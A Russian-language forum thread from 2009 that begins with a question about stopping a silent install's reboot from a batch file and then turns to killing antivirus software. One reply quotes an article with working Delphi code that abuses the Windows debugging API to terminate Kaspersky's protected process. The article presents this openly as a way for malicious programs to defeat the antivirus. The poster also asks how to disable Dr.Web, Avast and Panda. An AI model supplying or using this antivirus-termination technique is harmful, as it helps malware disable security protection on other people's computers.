помощь по BAT файлу
Пользователи, просматривающие топик: none
|
Зашли как: Guest
|
Имя |
Сообщение |
<< Старые топики Новые топики >> |
|
|
помощь по BAT файлу - 2009-04-22 12:35:08.953333
|
|
|
FENTAZY
Сообщений: 242
Оценки: 0
Присоединился: 2007-02-25 18:37:53.900000
|
Итак у меня проблема я када устанавливаю прогу через bat autorun.exe |s |v |qn она заставляет систему перезагружатся как можно исбежать перезагруски чтоб бат продолжил выполнять скрипт
|
|
|
RE: помощь по BAT файлу - 2009-04-22 16:32:43.860000
|
|
|
Ltonid
Сообщений: 4970
Оценки: 740
Присоединился: 2008-12-29 13:21:56.166666
|
autorun.exe |s |v |qn - это что? что должно делать? и весь ли это код bat'a?
|
|
|
RE: помощь по BAT файлу - 2009-04-22 17:17:02.280000
|
|
|
Zmaster
Сообщений: 930
Оценки: 0
Присоединился: 2007-02-09 19:02:43.500000
|
FENTAZY, ты запускаешь из бата инсталятор программы, она устанавливается и перегружает систему, а тебе надо, чтобы батник выполнялся дальше, я правильно понял?
|
|
|
RE: помощь по BAT файлу - 2009-04-22 17:20:22.683333
|
|
|
FENTAZY
Сообщений: 242
Оценки: 0
Присоединился: 2007-02-25 18:37:53.900000
|
Zmaster да ты меня правельно понял ) я уже решил проблему shutdown -a зы нехачу создавать еще 1 тему лучше спрошу тут у каво стоит каспер как его можна кильнуть? просто я его не юзаю а еще если можна раскажите про dr. web и avast and panda ) зарание спс и как припесать папке статус системной [sm=ab.gif]
|
|
|
RE: помощь по BAT файлу - 2009-04-22 17:38:47.240000
|
|
|
Zmaster
Сообщений: 930
Оценки: 0
Присоединился: 2007-02-09 19:02:43.500000
|
quote:
Убиваем антивирус Касперского: Лаборатория Касперского заявляет, что их антивирус не может быть уничтожен вредоносными программами, сейчас мы докажем, что это не так. Антивирус Касперского устанавливает в систему драйвер, который перехватывает в ядре функции Native API: ZwOpenProcess, ZwTerminateProcess и ZwTerminateThread, после чего запрещает любую работу этих API с своим процессом. Для открытия процесса антивируса можно использовать метод OpenProcessEx. После этого мы получаем доступ к памяти антивируса, но прибить процесс через TerminateProcess по прежнему невозможно. Первое, что приходит в голову - это выполнить CreateRemoteThread с адресом Kernel32! ExitProcess, но этот метод не срабатывает, так как ExitProcess обращается к перехваченной ZwTerminateProcess. Но существует как всегда обходной способ. В наборе Native API в Windows XP есть функция DbgUiDebugActiveProcess предназначенная для взятия процесса в режим отладки, перед отладкой необходимо создать Debug обьект вызовом DbgUiConnectToDbg. Вот прототипы этих функций: Код: Function DbgUiDebugActiveProcess(pHandle: dword): NTStatus;stdcall;external 'ntdll.dll'; Function DbgUiConnectToDbg(): NTStatus;stdcall;external 'ntdll.dll'; После перевода процесса в режим отладки он будет завершен при уничтожении связанного с ним Debug объекта, например это произойдет при завершении процесса отладчика. Нам нужно прибить отлаживаемый процесс, и при этом продолжить выполнение текущего процесса, значит нужно получить информацию о открытых нашим процессом хэндлах, найти и закрыть Debug объект. Все эти действия производит следующий код: Код: {<i> убивание процесса отладочным методом </i>} Function DebugKillProcess(ProcessId: dword): boolean; var pHandle: dword; myPID: dword; HandlesInfo: PSYSTEM_HANDLE_INFORMATION_EX; r: dword; begin Result := false; myPID := GetCurrentProcessId(); if not EnableDebugPrivilege() then Exit; //подключаемся к системе отладки и получаем DebugObject if DbgUiConnectToDbg() <> STATUS_SUCCESS then Exit; pHandle := OpenProcessEx(ProcessId); //включаем отладку процесса if DbgUiDebugActiveProcess(pHandle) <> STATUS_SUCCESS then Exit; //надо найти полученный DebugObject HandlesInfo := GetInfoTable(SystemHandleInformation); if HandlesInfo = nil then Exit; for r := 0 to HandlesInfo^.NumberOfHandles do if (HandlesInfo^.Information[r].ProcessId = myPID) and (HandlesInfo^.Information[r].ObjectTypeNumber = $8) //DebugObject then begin //закрываем DebugObject, что приводит к уничтожению отлаживаемого процесса CloseHandle(HandlesInfo^.Information[r].Handle); Result := true; break; end; VirtualFree(HandlesInfo, 0, MEM_RELEASE); end; После чего антивирус Касперского убивается одной строкой: Код: DebugKillProcess(GetProcessId('kavmm.exe')); Также, этим методом можно убить почти любую программу, авторы которой заявляют, что она неубиваемая. Взять с http://www.itcenter.net.ru/modules/myarticles/article.php?storyid=108&storypage=1
|
|
|
RE: помощь по BAT файлу - 2009-04-22 21:25:12.336666
|
|
|
Mr_Naeba
Сообщений: 2709
Оценки: 0
Присоединился: 2008-07-23 14:21:27.243333
|
http://forum.xakep.ru/m_1127194/tm.htm здесь батники горячо обсуждаются. про антивирусы там тоже было. поищи
|
|
|
|
|